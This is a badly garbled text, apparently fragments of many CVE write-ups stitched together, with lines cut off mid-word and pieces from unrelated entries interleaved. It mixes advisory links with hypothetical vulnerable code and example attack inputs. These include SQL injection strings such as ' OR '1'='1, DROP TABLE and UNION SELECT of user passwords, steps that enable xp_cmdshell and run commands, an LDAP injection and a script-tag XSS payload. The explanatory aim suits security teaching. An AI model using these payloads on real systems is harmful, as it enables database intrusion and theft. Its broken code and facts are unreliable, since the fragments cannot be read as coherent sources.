meter `\$poller\_id` that allows arbitrary strings, leading to command injection.

injection call within `poll\_for\_data`. The attacker could brute force `host\_id` and `local\_data\_id` values to

35gf

e server with an abnormally long calendar name, exploiting this vulnerability.

proper input validation would need to be implemented to prevent such an attack.

ent.

check), it will process the action. Consequently, the attacker could alter crucial strings, such as site UR|

i.

an attacker may cause disruption simply through account registration or updates if the instance allow

ective command-line arguments.

ation, or further malicious activities within the database.

ess and further data breaches.

lient to perform a specific sequence of verified operations that leads to the acceptance of an incorrect /security/vulnerabilities/linear-fake, and the Go client package at <https://pkg.go.dev/github.com/code>

ase. Since the attack requires authentication, it is likely the attacker would need to have compromised

up the possibility for an attacker to manipulate the 'id' parameter and inject malicious SQL code. This can lead to database or even the server's file system if the database user has high privileges and if proper security measures are not in place.

`$editId = $_GET['id']; $query = "SELECT * FROM posts WHERE id = $editId"; $result = mysqli_query($connection, $query);"` In this pseudocode, the `editId` is obtained directly from the URL. It is important to note that this is a bad practice. Instead, use appropriate input escaping mechanisms to sanitize user inputs.

return all posts or perform other unintended actions within the database.

use a web application firewall (WAF), which might help detect and block SQL injection attempts.

any intended restrictions.

Definition Language (DDL) statements in H2 native queries.

queries. However, specific code examples for such a vulnerability are generally not published to prevent

y.

JQL but would contain additional, non-standard parameters that would normally be blocked or sanitized.

essages').find({ query: { text: userInput // Potentially dangerous if userInput is not sanitized } });'''In this example, the user input is passed directly into the SQL query without being sanitized, which can lead to SQL injection attacks. This is a common vulnerability in many database frameworks.

of arbitrary JavaScript through HTML attributes in various custom vulnerability fields.

NULL; This would effectively bypass authentication or authorization mechanisms and could expose ser  
cess to sensitive information.

p\_cmdshell', 1; RECONFIGURE;5. Attacker runs system-level commands via 'xp\_cmdshell', such as: EXE

```
ml' }, body: '

: the SQL query to return all records from the 'wp_info_reel' table because 'OR 1=1' is always true, and

d availability of the website and its data.

m the 'wp_users' table.

ia58b4?source=cve

ABLE users;--"]` , which could potentially reveal data through the first part or cause damage such as drc

ng a malicious string for `contact`, such as ` OR '1'='1`, which would alter the logic of the SQL statemer

s or access to data.

' OR '1'='1', the query would return all users instead of just one, allowing unauthorized access to data.

parameterized, allowing an attacker to inject additional SQL statements.

<https://threat-intel/vulnerabilities/id/07c0f5a5-3455-4f06-b481-f4d678309c50?source=cve>

The attacker could steal sensitive data or cause damage to the website's data integrity.

on the application's database structure and the nature of the SQL query.

..
ials.

ould be conducted to identify and fix potential security issues proactively.

Wordfence vulnerability report: <https://www.wordfence.com/threat-intel/vulnerabilities/id/3566b602-c991>
prioritised to maintain the security principles of confidentiality, integrity, and availability.

present in the database.

_ server permissions were too lax). Note that these examples are overly simplified and real-world attac

ower compared to vulnerabilities that allow unauthorized access or code execution.


```
suming $age is received from user input$stmt->execute();```
```

```
:ers WHERE username = 'admin' AND password = " OR '1='1';```This crafted code would always evaluate  
/ code reviews and automated vulnerability scanning tools can also help in detecting such issues early |
```

\\ything''``The '--` sequence comments out the remainder of the query, effectively bypassing the intend
ing denial of service to legitimate users.5. Backdoor Creation: Attackers could potentially insert a backd

use.

It's an SQL query concatenating input directly from an external source without proper sanitation, like "%
;

re configuration data and limiting public access to both applications and databases.

SQL to include SQL commands that could compromise the database.
tack on the system.

[.com/advisory/ntap-20231110-0003/](https://www.cvedetails.com/advisory/ntap-20231110-0003/).

t field to potentially delete critical information from the system.

execute unintended SQL commands.

vork.

: data.

) be performed on the databases.

d generally be hidden from immediate view.

'lists.fedoraproject.org/message/WZGB2UXJEUYWWA6IWVFQ3ZTP22FIHMGN/- https://www.debian.'

`eventId` parameter to inject additional SQL commands.

[/www.wordfence.com/threat-intel/vulnerabilities/id/4336d597-7e87-46eb-8abd-9fafd6cd25d9?source=](https://www.wordfence.com/threat-intel/vulnerabilities/id/4336d597-7e87-46eb-8abd-9fafd6cd25d9?source=)

ke '0; DROP TABLE users;--', which could lead to SQL injection and unwanted database manipulation if

› update the session in the database.

list/package-announce@lists.fedoraproject.org/message/ZIZZB5NHNCS5D2AEH3ZA06OQC72IK7WS/

y require knowledge of valid user credentials.

chanism for forceful session invalidation post-password reset makes it difficult for administrators to ef

he database and the code implementation of the calendar application.

on.

lata loss.

ions on the database.

a access or even full database compromise.

.ization and concatenates it directly into a SQL query. An attacker could exploit this by providing input I

```
fe appending to the queryresults = database.execute(query)``In this example, if `user_input` contains :
```

It lead to unauthorized access if exploited.

:h_Release_6230_7.10.6_2023-05-02.pdf

veal sensitive user information if the application fails to properly sanitize the input.

ministrators. However, it's important to note that the high complexity of the attack may limit the number of administrators who can successfully execute it.

PKXNST5K/- The NetApp security advisory: <https://security.netapp.com/advisory/ntap-20230814-0001>

rage mechanism by the web application's maintainers.

age they see for phishing purposes or to spread misinformation.
ent']; // The comment is output directly to the HTML page without escaping.}'''In this hypothetical co

'NBQ6LUIAOAGDNFPKXNST5K/- NetApp's security advisory at <https://security.netapp.com/advisory/n>

a DELETE SQL statement on the users table without any CSRF protection like tokens or referrer checks.

es.

<https://www.exploit-db.com/files/174570/OpenTSDB-2.4.1-Unauthenticated-Command-Injection.html>

configuration in a way that leads to arbitrary command execution.

ca, potentially escalating to full control of the application or host system.

ccess, identity theft, or further compromise of the website's security.

database's configuration.

data they should not have access to, under databases that leverage CREATE POLICY to define row security policies.

Otherwise, the query will be prohibited.

If a user with the 'trusted_user' role executes a query under that role, and the query is designed to evade security policies, it may succeed in bypassing restrictions. This is because the query is executed under the context of the 'trusted_user' role, which may have different or more permissive security settings than the original user's role.

erability.

occur.

net-sites%2Ftrunk&sfp_email=&sfph_mail=#file5- Wordfence Vulnerability Report: <https://www.wordfence.com/vulnerability-report/>

eaked sensitive information.

|.

e the SQL query and retrieve additional data.

atabase files where the vulnerability exists.

or an insider threat exploiting the vulnerability.

·advisory-2023-05/

```
iod.setRequestBody(data);httpClient.executeMethod(postMethod);```This example is for illustrative pu
```

· can measure how long the function takes to return 'False' to deduce the correct key one byte at a time

partments.

meters that manipulate the backend SQL processing in Time Tracker.

r to inject JavaScript or HTML code. A proper fix would involve using functions like `esc_html()` to sanit

```
imnMapping" value="message"/> ... other params here ...</appender>``
```

d manipulate or steal sensitive data.

de on the database server depending on its configuration.

d also execute arbitrary code on the database server, if they have the requisite knowledge and the sys

n's configuration and the attacker's knowledge and resources.

th the database.

a potential SQL injection.

ng to potential SQL injection.

ζ in an SQL injection attack.

egrity and confidentiality.

d queries, making it vulnerable to SQL injection.

er exploitation such as data breaches unless compounded with other vulnerabilities.

nfo file, it could trigger memory corruption due to the vulnerability described in CVE-2023-29491.

bility.

le, further compromising the system.

```
setUserInput() # Attacker inputs: *)(uid=*)(|(uid=*ldapQuery = "(&(uid=" + username + ")(userPasswor
```

```
c/config/initializers/devise.rb#L398-L414- The pull request that includes the fix: https://github.com/m
```

```
oundEnvironment: PGPASSWORD='plaintextpassword', PGUSER='db_user', ...````
```

A hypothetical example and may not reflect the actual code or mechanisms within HGiga MailSherlock.

ut the remainder of the SQL statement. This type of vulnerability could lead to data leakage, data tamper

base access available from the injection point.

: system that uses CodeIgniter Shield for authentication.

```
response = requests.get(url)  if response.status_code == 200:    print(f'Download successful: {url}')
```



```
word';$invalidHash = '$2y$10$eU1...'; // Truncated for example purposesisValid = password_verify($
```

r services if the users have reused their passwords across multiple accounts.

ssword.

ctual attacks can be more sophisticated.

```
    !at(query) cursor.execute(vulnerable_query) results = cursor.fetchall() db_connection.close() return results
```



```
\$sword = "" + passwordInput + ";"``In this insecure code, userInput can be manipulated to alter the SC
```


ictors, it could be used to manipulate the HTTP headers.

onal queries to be executed.

:k and the associated routes.

uses or full control over the Orchestrator.

n configurations.

/ the vulnerability.

ker to craft `user_input` that alters the intended SQL query logic, such as returning all the users in the d
ull system compromise.

s action demonstrates the vulnerability, but in a real attack, the script could be designed to steal cookie

a to disrupt operations or extract sensitive information.

which could manipulate the SQL query to return data not intended by the original query.

lers.....other data...cg_order=id DESC; SELECT * FROM wp_users WHERE 1=1;--This payload is a hypoth

and 'cg_activate' POST parameters led to the vulnerability.

' TABLE gallery_images; --');'''

unt or exploit another vulnerability that allows privilege escalation.

the 'upload[]' POST parameter.

the SQL query is executed without proper sanitation.

elds-with-and-without-search.php HTTP/1.1 Host: vulnerable-website.com[...]option_id=1' UNION SELI database, such as user credentials or personal data, enabling the attacker to extend their access, escal

simplified example, `getOutletState` would disclose the state of a power outlet without any user auth

ion attempts.

until they match an existing `poller_item` with the `POLLER_ACTION_SCRIPT_PHP` action, ultimately le

L or admin credentials, without the admin's consent, resulting in a hijacked website or broken site function.

's self-registration or has a compromised user account.

state value. Code examples for this specific attack are not provided due to the complexity and the requirements of the notary/immudb/pkg/client.

l a valid user account or be an insider with legitimate access rights.

measures are not in place.

from the GET request's 'edit' parameter without any validation or sanitation. This makes it possible to maintain the database with the principle of least privilege, ensuring that user accounts used by web applications have the minimum set of permissions required to perform their functions.

Review and audit code for security vulnerabilities, particularly where user input is involved.

int misuse. The versions that are known to fix this issue no longer allow DDL statements in H2 native q

ed.

this code, if `userInput` is not properly sanitized, it could contain a malicious SQL injection payload that

sitive data.

:C xp_cmdshell 'whoami';These steps represent a general concept of how an attacker could take advan

```
\nreaders['Set-Cookie']) + '" style="display:none;">' );}
```

ket to the fingerprint device.

for their courts and public safety solutions: <https://www.tylertech.com/solutions/courts-public-safety/>

```
e}.bak`; saveBackup(backupFile, databaseCredentials);}In this example, the backup folder is set to a pi
```


ble from the database.

ch could result in the admin's email address being changed without their knowledge.

ous query provided by the attacker.

cker to manipulate the query.

Content-Type: image/jpeg<@INCLUDE * FROM IMAGE DATA HERE@>-----sampleboun

im malformed SQL. An attacker could potentially gain access to the admin account or any other user ac

erable.

e.

on the database.

Unauthorized access or the retrieval of all users' records.

/ return all the exam results.

arefully crafted value in the 'id' attribute of the shortcode, they could manipulate the SQL query and p

ry depending on the SQL database structure and the method used for injection.

349-43db6a9cc0dd?source=cve

the double dashes (--) comment out the rest of the SQL statement, preventing any syntax errors due to

opping tables through the latter part if it is executed on the database server.

it to potentially return all entries in the 'messages' table.

-488f-9de2-57236c4735b5?source=cve Website administrators and security professionals are advised t

:ks would likely be more sophisticated.

: to true, potentially giving an attacker unauthorized access.
in the development cycle.

ed query logic.

door into the system by adding new users with administrative privileges to the database.


```
SELECT * FROM users WHERE token = "" + inputToken + ";", an attacker could input a malicious payload
```


[org/security/2023/dsa-5550](https://www.academy.org/security/2023/dsa-5550).

:cve

the query gets executed.

fectively revoke access in a timely manner, thus increasing the window of vulnerability.

like `dummy' OR '1'='1`, which would manipulate the query logic and could potentially leak sensitive data.

a SQL segment like `` OR '1'='1` , it could lead to an always-true condition, allowing unauthorized access

er of attackers capable of exploiting this vulnerability.

de, user input from '`$_POST['comment']`' is directly stored in the database without sanitization, and lati

tap-20230814-0009/.

An attacker could exploit this by sending an admin a link containing the vulnerable parameter, leading

ty policies.

on plan is generated considering this role's permissions. If that same plan is reused (due to caching or c

fence.com/threat-intel/vulnerabilities/id/3eedc57b-79cc-4569-b6d6-676a22aa1e06?source=cve

irposes only and such action should not be performed on any system without authorization as it is illeg

e. A secure comparison would run in constant time, making it resistant to this kind of timing attack.

tize the output, ensuring that any special characters are converted to their HTML entities, thereby prev

tem is not properly secured, leading to a full-scale system compromise.


```
'd={password}))" # This query becomes malformed and may return more data than intended.'``The att  
|astodon/mastodon/pull/24379- Mastodon release tags for the versions containing the fix: https://gith
```


oering, and in some cases, could even escalate to a full database compromise if the SQL injection grant

``This code assumes the backup files are named in the 'backup-YYYY-MM-DD.tar.gz' format and located


```
userInput, $invalidHash);if ($isValid) { echo 'Password is valid, access granted.';} else { echo 'Invalid pa
```



```
urn str(results)if __name__ == '__main__': app.run()``In this example, the SQL query is dynamically i
```


SQL query and potentially log in as any user or carry out other SQL commands.

latabase by appending 'OR 1=1' which is always true.

es, session tokens, or perform actions on behalf of the user.

hypothetical example and is meant to demonstrate the concept of an SQL injection attack resulting from the

ECT username, password FROM users--This example SQL injection attempts to combine the intended q
ate privileges, or leak private information.

ntication, thus representing the type of vulnerability described in CVE-2022-3187.

:ading to the execution of the malicious command.

ctionality.

requirement for malicious server control, but users can reference immudb SDK documentation for under

r an attacker to inject malicious SQL code through the 'edit' parameter.
ations have only the permissions necessary to perform their required operations.6. Regular Security Al

queries to mitigate this risk.

t the feathers-sequelize service might execute on the underlying database.

tage of the vulnerability described in CVE-2023-47261.

'courts-justice

ublicly accessible directory, which could be exploited by an attacker, resembling the situation described

dary--

:counts in the database using such tactics.

erform unauthorized actions.

o the injection.

:o consult these resources to understand the vulnerability in-depth and to seek any updates or patches

altering the SQL command.

ata.

; or data retrieval.

er echoed back to the browser when comments are displayed. An attacker could submit a comment co

to unintended user account deletion.

query plan optimization) even after the role has changed to a less privileged role like 'untrusted_user' !

cial and unethical.

renting execution of potential script code.

acker's input causes the application to generate a query that could match multiple entries or cause the
[ub.com/mastodon/mastodon/releases/tag/v3.5.8](https://github.com/mastodon/mastodon/releases/tag/v3.5.8), <https://github.com/mastodon/mastodon/releases>,

:s further access.

at a specific URL. Adjust the start and end date to your search range, and the script will attempt to acc


```
assword, access denied.';}```In an unaffected version of PHP, the `password_verify()` should always retu
```


constructed using string formatting with user input, which is not sanitized before being concatenated c

vulnerability.

query with a UNION SELECT statement to retrieve usernames and passwords from the 'users' table. Not

standing legitimate proof verification.

udits: Regularly audit the code and perform security assessments to identify and fix vulnerabilities.

đ by CVE-2023-6375.

: provided by the plugin developers.

containing JavaScript code, e.g., `<script>alert('XSS')</script>`, which would then be stored and executed.

using 'SET ROLE', the security policy might not be applied correctly, allowing 'untrusted_user' to

: server to return sensitive data.

/tag/v4.0.4, <https://github.com/mastodon/mastodon/releases/tag/v4.1.2> - The official security adviso

process and indicate the success of downloads for each date in the range.

urn `false` for an invalid hash, but due to the vulnerability detailed in CVE-2023-0567, this func

directly into the SQL command. An attacker could manipulate the 'query' parameter to inject ar

te that code samples for exploiting vulnerabilities should not be used for malicious purposes and are fc

{ whenever the com

ry on GitHub: <https://github.com/mastodon/mastodon/security>

or educational and preventi